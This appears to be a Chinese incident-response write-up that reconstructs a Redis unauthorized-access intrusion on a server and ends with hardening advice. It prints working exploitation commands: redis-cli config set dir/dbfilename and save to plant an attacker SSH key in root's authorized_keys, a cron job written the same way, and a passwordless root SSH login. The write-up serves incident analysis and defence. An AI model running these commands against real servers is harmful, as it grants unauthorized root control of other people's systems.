【应急响应】redis未授权访问致远程植入挖矿脚本（攻击篇）
0 继续篇章
在上一篇【应急响应】redis未授权访问致远程植入挖矿脚本（防御篇）中，从防御的角度详细描述了应急响应以及流程。本篇继续从日志等入侵痕迹中分析，寻求突破，以一个攻击者的角度还原redis攻击，从未授权访问到写入ssh公钥直至控制整台服务器，进一步确定此次勒索事件的根本原因。
1 入侵痕迹
1.1 查看近期文件更改情况
查看最近一个月更改的文件
find -type f -mtime -30 |
|---|
1.2 服务器上查看可疑文件
使用root账号登录x.x.x.x，在根目录下查看ssh相关的可疑文件。
ls –al |
|---|
进入ssh文件夹，查看ssh文件内容：
cd .ssh/ls –alcat authorized_keyscat authorized_keys_20170318cat authorized_keys.bak20170319 |
|---|
2 漏洞排查
2.1 bash漏洞扫描
从执行命令记录分析，可疑操作：测试bash远程解析命令执行漏洞的poc语句。
因此对该主机进行漏洞扫描，未发现存在bash漏洞。
2.2 redis未授权访问漏洞验证
使用redis客户端尝试连接x.x.x.x成功，且发现ssh公钥
执行服务器操作指令，获取redis以及服务器基本信息：
info |
|---|
获取cat:
config get dir |
|---|
设置redis备份路径（以此说明redis权限过大，具有root权限）
config set dir /root |
|---|
3 攻击过程
通过结合服务器被入侵痕迹与漏洞情况进行分析，判定：主机x.x.x.x由于Redis未授权访问漏洞，造成SSH免密码登录。
为了更好地理解该主机如何被入侵至沦陷，现将模拟黑客手法还原整个攻击过程。
3.1 kali下本地生成公私钥
ssh-keygen -t rsa |
|---|
3.2 公钥写入文件
(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt |
|---|
3.3 连接redis写入文件
cat /home/Yxiu/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set sectest20170410config set dir /root/.ssh/config get dirconfig set dbfilename"authorized_keys"save |
|---|
3.4 redis客户端确认写入情况
sectest20170410写入成功
3.5 linux任务计划设置权限
有时候在利用redis写公钥后依然不能空密码登录，可能是由于authorized_keys的权限问题，可通过linux任务计划来设置权限为600
echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h x.x.x.y -x set 1redis-cli -h x.x.x.y config set dir /var/spool/cron/redis-cli -h x.x.x.y config set dbfilename rootredis-cli -h x.x.x.y save |
|---|
3.6 ssh公钥成功空密远程登录
root@kali:~/.ssh# ssh -i id_rsa root@x.x.x.y |
|---|
4 修复建议
<1>权限设置
将redis权限设置为最小化权限，禁止使用root权限运行。区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config。
<2>端口设置
配置bind选项，限定可以连接Redis服务器的IP，修改 Redis 的默认端口6379。
<3>强口令设置
对redis设置强口令，禁止未授权访问。
腾讯云开发者
